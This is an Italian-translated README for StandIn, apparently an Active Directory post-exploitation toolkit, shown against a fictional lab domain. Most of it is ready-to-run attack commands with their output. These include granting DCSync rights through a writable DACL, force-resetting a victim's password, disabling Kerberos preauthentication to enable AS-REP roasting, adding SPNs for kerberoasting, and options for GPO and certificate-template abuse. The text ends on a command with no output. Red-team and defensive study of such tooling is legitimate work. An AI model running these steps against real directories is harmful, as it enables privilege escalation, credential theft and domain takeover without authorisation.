
StandIn è un piccolo toolkit .NET35/45 di post-sfruttamento per AD
StandIn è un piccolo toolkit per post-compromissione di Active Directory. StandIn è nato perché recentemente presso xforcered avevamo bisogno di una soluzione nativa .NET per eseguire la delega vincolata basata su risorse. Tuttavia, StandIn si è rapidamente ampliato fino a includere una serie di funzionalità di comodità.
Voglio continuare a sviluppare StandIn per insegnarmi di più sulla programmazione dei Servizi di Directory e, si spera, per espandere uno strumento che si inserisca nella toolchain post-sfruttamento di AD.
I contributi sono benvenuti. Assicurati che le pull request includano i seguenti elementi: descrizione della funzionalità, breve spiegazione tecnica e output di esempio.
Hai qualcosa che vuoi vedere aggiunto a StandIn ma non hai una PR? Per favore apri un ticket e descrivi la funzionalità nel miglior modo possibile.
Gli elementi seguenti sono attualmente previsti per l'implementazione nelle versioni successive di StandIn.
__ ( / _// ~b33f __)/(//)(/(/) v1.4
--
--> Args? <----<
--help This help menu --object LDAP filter, e.g. samaccountname=HWest --ldap LDAP filter, can return result collection --filter Filter results, varies based on function --limit Limit results, varies based on function, defaults to 50 --computer Machine name, e.g. Celephais-01 --group samAccountName, e.g. "Necronomicon Admins" --ntaccount User name, e.g. "REDHOOK\UPickman" --sid Dependent on context --grant User name, e.g. "REDHOOK\KMason" --guid Rights GUID to add to object, e.g. 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 --domain Domain name, e.g. REDHOOK --user User name --pass Password --newpass New password to set for object --gpo List group policy objects --acl Show ACL's for returned GPO's --localadmin Add samAccountName to BUILTIN\Administrators for vulnerable GPO --setuserrights samAccountName for which to add token rights in a vulnerable GPO --tasktype Immediate task type (user/computer) --taskname Immediate task name --author Immediate task author --command Immediate task command --args Immediate task command args --target Optional, filter for DNS name or NTAccount --targetsid Optional, provider user SID --increase Increment either the user or computer GPO version number for the AD object --policy Reads some account/kerberos properties from the "Default Domain Policy" --dns Performs ADIDNS enumeration, supports wildcard filters --legacy Boolean, sets DNS seach root to legacy (CN=System) --forest Boolean, sets DNS seach root to forest (DC=ForestDnsZones) --passnotreq Boolean, list accounts that have PASSWD_NOTREQD set --type Rights type: GenericAll, GenericWrite, ResetPassword, WriteMembers, DCSync --spn Boolean, list kerberoastable accounts --setspn samAccountName for which to add/remove an SPN --principal Principal name to add to samAccountName (e.g. MSSQL/VermisMysteriis) --delegation Boolean, list accounts with unconstrained / constrained delegation --asrep Boolean, list ASREP roastable accounts --dc Boolean, list all domain controllers --trust Boolean, list all trust relationships --adcs List all CA's and all published templates --clientauth Boolean, modify ADCS template to add/remove "Client Authentication" --ess Boolean, modify ADCS template to add/remove "ENROLLEE_SUPPLIES_SUBJECT" --pend Boolean, modify ADCS template to add/remove "PEND_ALL_REQUESTS" --owner Boolean, modify ADCS template owner --write Boolean, modify ADCS template, add/remove WriteDacl/WriteOwner/WriteProperty permission for NtAccount --enroll Boolean, modify ADCS template, add/remove "Certificate-Enrollment" permission for NtAccount --add Boolean, context dependent group/spn/adcs --remove Boolean, context dependent msDS-AllowedToActOnBehalfOfOtherIdentity/group/adcs --make Boolean, make machine; ms-DS-MachineAccountQuota applies --disable Boolean, disable machine; should be the same user that created the machine --access Boolean, list access permissions for object --delete Boolean, delete machine from AD; requires elevated AD access
--
--> Usage? <----<
StandIn.exe --ldap "(&(samAccountType=805306368)(servicePrincipalName=)(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))" StandIn.exe --ldap servicePrincipalName= --domain redhook --user RFludd --pass Cl4vi$Alchemi4e --limit 10 StandIn.exe --ldap servicePrincipalName=* --filter "pwdlastset, distinguishedname, lastlogon" --limit 100
StandIn.exe --object "(&(samAccountType=805306368)(servicePrincipalName=vermismysteriis.redhook.local))" StandIn.exe --object samaccountname=Celephais-01$ --domain redhook --user RFludd --pass Cl4vi$Alchemi4e StandIn.exe --object samaccountname=Celephais-01$ --filter "pwdlastset, serviceprincipalname, objectsid"
StandIn.exe --object "distinguishedname=DC=redhook,DC=local" --access StandIn.exe --object samaccountname=Rllyeh$ --access --ntaccount "REDHOOK\EDerby" StandIn.exe --object samaccountname=JCurwen --access --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --object "distinguishedname=DC=redhook,DC=local" --grant "REDHOOK\MBWillett" --type DCSync StandIn.exe --object "distinguishedname=DC=redhook,DC=local" --grant "REDHOOK\MBWillett" --guid 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 StandIn.exe --object samaccountname=SomeTarget001$ --grant "REDHOOK\MBWillett" --type GenericWrite --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --object samaccountname=SomeTarget001$ --newpass "Arkh4mW1tch!" StandIn.exe --object samaccountname=BJenkin --newpass "Dr34m1nTh3H#u$e" --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --object samaccountname=HArmitage --asrep StandIn.exe --object samaccountname=FMorgan --asrep --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --object samaccountname=TMalone --asrep --remove StandIn.exe --object samaccountname=RSuydam --asrep --remove --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --asrep StandIn.exe --asrep --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --gpo --limit 20 StandIn.exe --gpo --filter admin --domain redhook --user RFludd --pass Cl4vi$Alchemi4e StandIn.exe --gpo --filter admin --acl --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --gpo --filter ArcanePolicy --localadmin JCurwen StandIn.exe --gpo --filter ArcanePolicy --localadmin JCurwen --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --gpo --filter ArcanePolicy --setuserrights JCurwen --grant "SeTcbPrivilege,SeDebugPrivilege" StandIn.exe --gpo --filter ArcanePolicy --setuserrights JCurwen --grant SeLoadDriverPrivilege --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --gpo --filter ArcanePolicy --taskname LiberInvestigationis --tasktype computer --author "REDHOOK\JCurwen" --command "C:\Windows\System32\notepad.exe" --args "C:\Mysteriis\CultesDesGoules.txt" StandIn.exe --gpo --filter ArcanePolicy --taskname LiberInvestigationis --tasktype computer --author "REDHOOK\JCurwen" --command "C:\Windows\System32\notepad.exe" --args "C:\Mysteriis\CultesDesGoules.txt" --target Rllyeh.redhook.local StandIn.exe --gpo --filter ArcanePolicy --taskname LiberInvestigationis --tasktype user --author "REDHOOK\JCurwen" --command "C:\Windows\System32\notepad.exe" --args "C:\Mysteriis\CultesDesGoules.txt" --target "REDHOOK\RBloch" --targetsid S-1-5-21-315358687-3711474269-2098994107-1106 StandIn.exe --gpo --filter ArcanePolicy --taskname LiberInvestigationis --tasktype computer --author "REDHOOK\JCurwen" --command "C:\Windows\System32\notepad.exe" --args "C:\Mysteriis\CultesDesGoules.txt" --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --gpo --filter ArcanePolicy --increase --tasktype user StandIn.exe --gpo --filter ArcanePolicy --increase --tasktype computer --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --policy StandIn.exe --policy --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --dns --limit 20 StandIn.exe --dns --filter SQL --limit 10 StandIn.exe --dns --forest --domain redhook --user RFludd --pass Cl4vi$Alchemi4e StandIn.exe --dns --legacy --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --passnotreq StandIn.exe --passnotreq --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --sid JCurwen StandIn.exe --sid S-1-5-21-315358687-3711474269-2098994107-1105 --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --spn StandIn.exe --spn --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --setspn RSuydam --principal MSSQL/VermisMysteriis --add StandIn.exe --setspn RSuydam --principal MSSQL/VermisMysteriis --remove --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --delegation StandIn.exe --delegation --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --dc
StandIn.exe --trust
StandIn.exe --group Literarum StandIn.exe --group "Magna Ultima" --domain redhook --user RFludd --pass Cl4vi$Alchemi4e StandIn.exe --group JCurwen --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --group "Dunwich Council" --ntaccount "REDHOOK\WWhateley" --add StandIn.exe --group DAgon --ntaccount "REDHOOK\RCarter" --add --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --group "Dunwich Council" --ntaccount "REDHOOK\WWhateley" --remove StandIn.exe --group DAgon --ntaccount "REDHOOK\RCarter" --remove --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --adcs StandIn.exe --adcs --filter Kingsport StandIn.exe --adcs --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --adcs --filter Kingsport --clientauth --add StandIn.exe --adcs --filter Kingsport --clientauth --remove --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --adcs --filter Kingsport --ess --add StandIn.exe --adcs --filter Kingsport --ess --remove --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --adcs --filter Kingsport --pend --add StandIn.exe --adcs --filter Kingsport --pend --remove --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --adcs --filter Kingsport --ntaccount "REDHOOK\MBWillett" --owner StandIn.exe --adcs --filter Kingsport --ntaccount "REDHOOK\MBWillett" --owner --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --adcs --filter Kingsport --ntaccount "REDHOOK\MBWillett" --write --add StandIn.exe --adcs --filter Kingsport --ntaccount "REDHOOK\MBWillett" --write --remove --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --adcs --filter Kingsport --ntaccount "REDHOOK\MBWillett" --enroll --add StandIn.exe --adcs --filter Kingsport --ntaccount "REDHOOK\MBWillett" --enroll --remove --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --computer Innsmouth --make StandIn.exe --computer Innsmouth --make --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --computer Arkham --disable StandIn.exe --computer Arkham --disable --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --computer Danvers --delete StandIn.exe --computer Danvers --delete --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --computer Providence --sid S-1-5-21-1085031214-1563985344-725345543 StandIn.exe --computer Providence --sid S-1-5-21-1085031214-1563985344-725345543 --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
StandIn.exe --computer Miskatonic --remove StandIn.exe --computer Miskatonic --remove --domain redhook --user RFludd --pass Cl4vi$Alchemi4e
## Operazioni sugli oggetti LDAP
Tutte le operazioni `--object` si aspettano che il filtro LDAP restituisca un singolo oggetto e usciranno se la tua query ne restituisce più di uno. Questo è intenzionale. Se desideri ottenere un array di oggetti, dovresti usare `--ldap`.
### LDAP grezzo
#### Caso d'uso
> *Operativamente, potremmo voler recuperare un array di oggetti AD e opzionalmente filtrare e/o limitare i risultati e le proprietà.*
#### Sintassi
Ottieni tutte le proprietà degli oggetti risolti. Le query possono essere semplici corrispondenze per una singola proprietà o filtri LDAP complessi. Opzionalmente, limita i risultati restituiti con `--limit`.```
C:\> StandIn.exe --ldap "(&(displayName=*)(gpcfilesyspath=*))" --filter "gpcfilesyspath,versionnumber"
[?] Using DC : m-w16-dc01.main.redhook.local
[+] LDAP search result count : 3
|_ Result limit : 50
[?] Iterating result properties
|_ Applying property filter => gpcfilesyspath,versionnumber
[?] Object : CN={6AC1786C-016F-11D2-945F-00C04fB984F9}
Path : LDAP://CN={6AC1786C-016F-11D2-945F-00C04fB984F9},CN=Policies,CN=System,DC=redhook,DC=local
[+] versionnumber
|_ User Version : 0
|_ Computer Version : 1
[+] gpcfilesyspath
|_ \\redhook.local\sysvol\redhook.local\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}
[?] Object : CN={31B2F340-016D-11D2-945F-00C04FB984F9}
Path : LDAP://CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=redhook,DC=local
[+] versionnumber
|_ User Version : 0
|_ Computer Version : 11
[+] gpcfilesyspath
|_ \\redhook.local\sysvol\redhook.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}
[?] Object : CN={58890948-8DE3-4A39-8C40-F68004186693}
Path : LDAP://CN={58890948-8DE3-4A39-8C40-F68004186693},CN=Policies,CN=System,DC=redhook,DC=local
[+] versionnumber
|_ User Version : 2
|_ Computer Version : 4
[+] gpcfilesyspath
|_ \\redhook.local\SysVol\redhook.local\Policies\{58890948-8DE3-4A39-8C40-F68004186693}
Operativamente, potremmo voler esaminare tutte le proprietà di un oggetto specifico in AD. Un esempio comune potrebbe essere esaminare di quali gruppi un account utente è membro o quando un account utente si è autenticato l'ultima volta al dominio.
Restituisce l'oggetto risolto. Le query possono essere semplici corrispondenze per una singola proprietà o filtri LDAP complessi. Opzionalmente filtra le proprietà che si desidera recuperare con --filter.```
C:> StandIn.exe --object samaccountname=m-10-1909-01$
[?] Using DC : m-w16-dc01.main.redhook.local [?] Object : CN=M-10-1909-01 Path : LDAP://CN=M-10-1909-01,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local
[?] Iterating object properties
[+] logoncount |_ 360 [+] codepage |_ 0 [+] objectcategory |_ CN=Computer,CN=Schema,CN=Configuration,DC=main,DC=redhook,DC=local [+] iscriticalsystemobject |_ False [+] operatingsystem |_ Windows 10 Enterprise [+] usnchanged |_ 195797 [+] instancetype |_ 4 [+] name |_ M-10-1909-01 [+] badpasswordtime |_ 0x0 [+] pwdlastset |_ 10/9/2020 4:42:02 PM UTC [+] serviceprincipalname |_ TERMSRV/M-10-1909-01 |_ TERMSRV/m-10-1909-01.main.redhook.local |_ WSMAN/m-10-1909-01 |_ WSMAN/m-10-1909-01.main.redhook.local |_ RestrictedKrbHost/M-10-1909-01 |_ HOST/M-10-1909-01 |_ RestrictedKrbHost/m-10-1909-01.main.redhook.local |_ HOST/m-10-1909-01.main.redhook.local [+] objectclass |_ top |_ person |_ organizationalPerson |_ user |_ computer [+] badpwdcount |_ 0 [+] samaccounttype |_ SAM_MACHINE_ACCOUNT [+] lastlogontimestamp |_ 11/1/2020 7:40:09 PM UTC [+] usncreated |_ 31103 [+] objectguid |_ 17c80232-2ee6-47e1-9ab5-22c51c268cf0 [+] localpolicyflags |_ 0 [+] whencreated |_ 7/9/2020 4:59:55 PM [+] adspath |_ LDAP://CN=M-10-1909-01,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local [+] useraccountcontrol |_ WORKSTATION_TRUST_ACCOUNT [+] cn |_ M-10-1909-01 [+] countrycode |_ 0 [+] primarygroupid |_ 515 [+] whenchanged |_ 11/2/2020 7:59:32 PM [+] operatingsystemversion |_ 10.0 (18363) [+] dnshostname |_ m-10-1909-01.main.redhook.local [+] dscorepropagationdata |_ 10/30/2020 6:56:30 PM |_ 10/25/2020 1:28:32 AM |_ 7/16/2020 2:15:26 PM |_ 7/15/2020 8:54:17 PM |_ 1/1/1601 12:04:17 AM [+] lastlogon |_ 11/3/2020 10:21:11 AM UTC [+] distinguishedname |_ CN=M-10-1909-01,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local [+] msds-supportedencryptiontypes |_ RC4_HMAC, AES128_CTS_HMAC_SHA1_96, AES256_CTS_HMAC_SHA1_96 [+] samaccountname |_ M-10-1909-01$ [+] objectsid |_ S-1-5-21-1293271031-3053586410-2290657902-1126 [+] lastlogoff |_ 0 [+] accountexpires |_ 0x7FFFFFFFFFFFFFFF
### Ottieni i permessi di accesso all'oggetto
#### Caso d'uso
> *In determinate fasi dell'engagement, l'operatore potrebbe voler risolvere i permessi di accesso per un oggetto specifico in AD. Molte autorizzazioni possono offrire una via operativa per espandere l'accesso o raggiungere gli obiettivi. Ad esempio, un'autorizzazione WriteDacl su un gruppo potrebbe consentire all'operatore di concedersi le autorizzazioni necessarie per aggiungere un nuovo utente al gruppo. Strumenti come [SharpHound](https://github.com/BloodHoundAD/SharpHound3) già, in molti casi, rivelano queste debolezze Dacl.*
#### Sintassi
Recupera le regole di Active Directory che si applicano all'oggetto risolto e traduce eventuali GUID di schema / diritti nel loro nome descrittivo. Opzionalmente filtra i risultati per un nome account NTAccount.```
C:\>StandIn.exe --object samaccountname=m-10-1909-01$ --access
[?] Using DC : m-w19-dc01.main.redhook.local
[?] Object : CN=M-10-1909-01
Path : LDAP://CN=M-10-1909-01,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local
[+] Object properties
|_ Owner : MAIN\domainjoiner
|_ Group : MAIN\Domain Join
[+] Object access rules
[+] Identity --> NT AUTHORITY\SELF
|_ Type : Allow
|_ Permission : CreateChild, DeleteChild
|_ Object : ANY
[+] Identity --> NT AUTHORITY\Authenticated Users
|_ Type : Allow
|_ Permission : GenericRead
|_ Object : ANY
[... Snip ...]
C:\> StandIn.exe --object samaccountname=m-10-1909-01$ --access --ntaccount "MAIN\domainjoiner"
[?] Using DC : m-w19-dc01.main.redhook.local
[?] Object : CN=M-10-1909-01
Path : LDAP://CN=M-10-1909-01,OU=Workstations,OU=OCCULT,DC=main,DC=redhook,DC=local
[+] Object properties
|_ Owner : MAIN\domainjoiner
|_ Group : MAIN\Domain Join
[+] Object access rules
[+] Identity --> MAIN\domainjoiner
|_ Type : Allow
|_ Permission : DeleteTree, ExtendedRight, Delete, GenericRead
|_ Object : ANY
[+] Identity --> MAIN\domainjoiner
|_ Type : Allow
|_ Permission : WriteProperty
|_ Object : User-Account-Restrictions
[+] Identity --> MAIN\domainjoiner
|_ Type : Allow
|_ Permission : Self
|_ Object : servicePrincipalName
[+] Identity --> MAIN\domainjoiner
|_ Type : Allow
|_ Permission : Self
|_ Object : dNSHostName
[+] Identity --> MAIN\domainjoiner
|_ Type : Allow
|_ Permission : WriteProperty
|_ Object : sAMAccountName
[+] Identity --> MAIN\domainjoiner
|_ Type : Allow
|_ Permission : WriteProperty
|_ Object : displayName
[+] Identity --> MAIN\domainjoiner
|_ Type : Allow
|_ Permission : WriteProperty
|_ Object : description
[+] Identity --> MAIN\domainjoiner
|_ Type : Allow
|_ Permission : WriteProperty
|_ Object : User-Logon
[+] Identity --> MAIN\domainjoiner
|_ Type : Allow
|_ Permission : Self
|_ Object : DS-Validated-Write-Computer
Con i diritti appropriati, l'operatore può concedere a un NTAccount permessi speciali su un oggetto specifico in AD. Ad esempio, se un operatore ha privilegi GenericAll su un account utente, può concedere a sé stesso o a un NTAccount di terze parti il permesso di cambiare la password dell'utente senza conoscere la password corrente.
Aggiungi permesso all'oggetto risolto per un NTAccount specificato. StandIn supporta un piccolo insieme di privilegi predefiniti (GenericAll, GenericWrite, ResetPassword, WriteMembers, DCSync) ma consente anche agli operatori di specificare un guid di diritti personalizzato usando il flag --guid.```
C:> whoami
main\s4uuser
C:> StandIn.exe --group lowPrivButMachineAccess
[?] Using DC : m-w19-dc01.main.redhook.local [?] Group : lowPrivButMachineAccess GUID : 37e3d957-af52-4cc6-8808-56330f8ec882
[+] Members
[?] Path : LDAP://CN=s4uUser,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local samAccountName : s4uUser Type : User SID : S-1-5-21-1293271031-3053586410-2290657902-1197
C:> StandIn.exe --object "distinguishedname=DC=main,DC=redhook,DC=local" --access --ntaccount "MAIN\lowPrivButMachineAccess"
[?] Using DC : m-w19-dc01.main.redhook.local [?] Object : DC=main Path : LDAP://DC=main,DC=redhook,DC=local
[+] Object properties |_ Owner : BUILTIN\Administrators |_ Group : BUILTIN\Administrators
[+] Object access rules
[+] Identity --> MAIN\lowPrivButMachineAccess |_ Type : Allow |_ Permission : WriteDacl |_ Object : ANY
C:> StandIn.exe --object "distinguishedname=DC=main,DC=redhook,DC=local" --grant "MAIN\s4uuser" --type DCSync
[?] Using DC : m-w19-dc01.main.redhook.local [?] Object : DC=main Path : LDAP://DC=main,DC=redhook,DC=local
[+] Object properties |_ Owner : BUILTIN\Administrators |_ Group : BUILTIN\Administrators
[+] Set object access rules |_ Success, added dcsync privileges to object for MAIN\s4uuser
C:> StandIn.exe --object "distinguishedname=DC=main,DC=redhook,DC=local" --access --ntaccount "MAIN\s4uUser"
[?] Using DC : m-w19-dc01.main.redhook.local [?] Object : DC=main Path : LDAP://DC=main,DC=redhook,DC=local
[+] Object properties |_ Owner : BUILTIN\Administrators |_ Group : BUILTIN\Administrators
[+] Object access rules
[+] Identity --> MAIN\s4uUser |_ Type : Allow |_ Permission : ExtendedRight |_ Object : DS-Replication-Get-Changes-All
[+] Identity --> MAIN\s4uUser |_ Type : Allow |_ Permission : ExtendedRight |_ Object : DS-Replication-Get-Changes
[+] Identity --> MAIN\s4uUser |_ Type : Allow |_ Permission : ExtendedRight |_ Object : DS-Replication-Get-Changes-In-Filtered-Set
### Imposta password oggetto
#### Caso d'uso
> *Se l'operatore dispone delle autorizzazioni `User-Force-Change-Password` su un oggetto utente, può cambiare la password per quell'account utente senza conoscere la password corrente. Questa azione è distruttiva poiché l'utente non sarà più in grado di autenticarsi, il che potrebbe sollevare sospetti.*
#### Sintassi
Set the resolved object's password without knowing the current password.```
C:\> whoami
main\s4uuser
C:\> StandIn.exe --object "samaccountname=user005" --access --ntaccount "MAIN\lowPrivButMachineAccess"
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object : CN=User 005
Path : LDAP://CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local
[+] Object properties
|_ Owner : MAIN\Domain Admins
|_ Group : MAIN\Domain Admins
[+] Object access rules
[+] Identity --> MAIN\lowPrivButMachineAccess
|_ Type : Allow
|_ Permission : WriteDacl
|_ Object : ANY
C:\> StandIn.exe --object "samaccountname=user005" --grant "MAIN\s4uuser" --type resetpassword
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object : CN=User 005
Path : LDAP://CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local
[+] Object properties
|_ Owner : MAIN\Domain Admins
|_ Group : MAIN\Domain Admins
[+] Set object access rules
|_ Success, added resetpassword privileges to object for MAIN\s4uuser
C:\> StandIn.exe --object "samaccountname=user005" --access --ntaccount "MAIN\s4uUser"
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object : CN=User 005
Path : LDAP://CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local
[+] Object properties
|_ Owner : MAIN\Domain Admins
|_ Group : MAIN\Domain Admins
[+] Object access rules
[+] Identity --> MAIN\s4uUser
|_ Type : Allow
|_ Permission : ExtendedRight
|_ Object : User-Force-Change-Password
C:\> StandIn.exe --object "samaccountname=user005" --newpass "Arkh4mW1tch!"
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object : CN=User 005
Path : LDAP://CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local
[+] Object properties
|_ Owner : MAIN\Domain Admins
|_ Group : MAIN\Domain Admins
[+] Setting account password
|_ Success, password set for object
Se l'operatore ha accesso in scrittura a un account utente, può modificare i flag
userAccountControldell'utente per includereDONT_REQUIRE_PREAUTH. Ciò consente all'operatore di richiedere un hash AS-REP per l'utente che può essere craccato offline. Questo processo è molto simile al kerberoasting. L'azione non è distruttiva, ma si basa sul fatto che l'utente abbia una password craccabile in un intervallo di tempo ragionevole.
Aggiungi e rimuovi DONT_REQUIRE_PREAUTH dai flag userAccountControl dell'oggetto risolto.```
C:> StandIn.exe --object "samaccountname=user005" --asrep
[?] Using DC : m-w16-dc01.main.redhook.local [?] Object : CN=User 005 Path : LDAP://CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local
[*] SamAccountName : user005 DistinguishedName : CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local userAccountControl : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD
[+] Updating userAccountControl.. |_ Success
C:> StandIn.exe --asrep
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Found 1 object(s) that do not require Kerberos preauthentication..
[*] SamAccountName : user005 DistinguishedName : CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local userAccountControl : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD, DONT_REQUIRE_PREAUTH
C:> StandIn.exe --object "samaccountname=user005" --asrep --remove
[?] Using DC : m-w16-dc01.main.redhook.local [?] Object : CN=User 005 Path : LDAP://CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local
[*] SamAccountName : user005 DistinguishedName : CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local userAccountControl : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD, DONT_REQUIRE_PREAUTH
[+] Updating userAccountControl.. |_ Success
C:> StandIn.exe --asrep
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Found 0 object(s) that do not require Kerberos preauthentication..
## SID
#### Caso d'uso
> *A volte hai un `SID` o un `samAccountName` e hai bisogno di ottenere l'altro. Questa è una semplice funzione di supporto per fare ciò per te.*
#### Sintassi
Converti `SID` o `samAccountName` in `SID` utente e `NTAccount`.```
C:\> StandIn.exe --sid user001
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object : CN=user 001
Path : LDAP://CN=user 001,CN=Users,DC=redhook,DC=local
[+] User : REDHOOK.LOCAL\user001
SID : S-1-5-21-315358687-3711474269-2098994107-1105
C:\> StandIn.exe --sid S-1-5-21-315358687-3711474269-2098994107-1105
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object : CN=user 001
Path : LDAP://CN=user 001,CN=Users,DC=redhook,DC=local
[+] User : REDHOOK.LOCAL\user001
SID : S-1-5-21-315358687-3711474269-2098994107-1105
Questa funzione enumera tutti gli account in AD attualmente abilitati che hanno
DONT_REQUIRE_PREAUTHcome parte dei flaguserAccountControl. Questi account possono essere sottoposti ad AS-REP roasting, un processo molto simile al kerberoasting.
Restituisce tutti gli account che possono essere sottoposti ad ASREP roasting.``` C:> StandIn.exe --asrep
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Found 1 object(s) that do not require Kerberos preauthentication..
[*] SamAccountName : user005 DistinguishedName : CN=User 005,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local userAccountControl : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD, DONT_REQUIRE_PREAUTH
## PASSWD_NOTREQD
#### Caso d'uso
> *Questa funzione enumera tutti gli account in AD attualmente abilitati e che hanno `PASSWD_NOTREQD` come parte dei loro flag `userAccountControl`. Questi account possono avere password vuote nonostante l'applicazione delle GPO, ma possono anche avere una password configurata.*
#### Sintassi
Restituisce tutti gli account che hanno `PASSWD_NOTREQD` impostato.```
C:\> StandIn.exe --passnotreq
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Found 2 object(s) that do not require a password..
[*] SamAccountName : passnotreq
DistinguishedName : CN=passnotreq,CN=Users,DC=redhook,DC=local
PwdLastSet : 6/6/2021 10:47:27 PM UTC
lastlogon : 0x0
userAccountControl : PASSWD_NOTREQD, NORMAL_ACCOUNT
[*] SamAccountName : REDHOOKSLSRV$
DistinguishedName : CN=RedHookSLSRV,CN=Computers,DC=redhook,DC=local
PwdLastSet : 6/6/2021 10:51:37 PM UTC
lastlogon : 0x0
userAccountControl : PASSWD_NOTREQD, WORKSTATION_TRUST_ACCOUNT
Queste funzioni riguardano specificamente gli SPN.
Questa funzione enumera tutti gli account in AD attualmente abilitati e che possono essere kerberoastati. Vengono aggiunte alcune informazioni base dell'account per contesto: quando è stata impostata l'ultima password, quando è stato utilizzato l'ultimo account e quali tipi di crittografia sono supportati.
Restituisce tutti gli account che sono kerberoastable.``` C:> StandIn.exe --spn
[?] Using DC : m-w16-dc01.main.redhook.local [?] Found 1 kerberostable users..
[*] SamAccountName : SimCritical DistinguishedName : CN=SimCritical,OU=Users,OU=OCCULT,DC=main,DC=redhook,DC=local ServicePrincipalName : ldap/M-2012R2-03.main.redhook.local PwdLastSet : 11/2/2020 7:06:17 PM UTC lastlogon : 0x0 Supported ETypes : RC4_HMAC_DEFAULT
### Imposta SPN
#### Caso d'uso
> *Con le autorizzazioni appropriate, questa funzione consente di aggiungere e rimuovere un `SPN` da un `samAccountName`.*
#### Sintassi
Aggiungi e rimuovi `SPN's` da un `samAccountName`.```
C:\> StandIn.exe --setspn user001 --principal MSSQL/Alchimiae --add
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object : CN=user 001
Path : LDAP://CN=user 001,CN=Users,DC=redhook,DC=local
[*] SamAccountName : user001
DistinguishedName : CN=user 001,CN=Users,DC=redhook,DC=local
[+] Adding servicePrincipalName : MSSQL/Alchimiae
|_ Success
C:\> StandIn.exe --object samaccountname=user001 --filter serviceprincipalname
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object : CN=user 001
Path : LDAP://CN=user 001,CN=Users,DC=redhook,DC=local
[?] Iterating object properties
|_ Applying property filter => serviceprincipalname
[+] serviceprincipalname
|_ HTTP/Alchimiae
|_ MSSQL/Alchimiae
C:\>StandIn.exe --setspn user001 --principal HTTP/Alchimiae --remove
[?] Using DC : m-w16-dc01.main.redhook.local
[?] Object : CN=user 001
Path : LDAP://CN=user 001,CN=Users,DC=redhook,DC=local
[*] SamAccountName : user001
DistinguishedName : CN=user 001,CN=Users,DC=redhook,DC=local
ServicePrincipalName : HTTP/Alchimiae
MSSQL/Alchimiae
[+] Removing servicePrincipalName : HTTP/Alchimiae
|_ Success
C:\> StandIn.exe --object samaccountname=user001 --filter serviceprincipalname
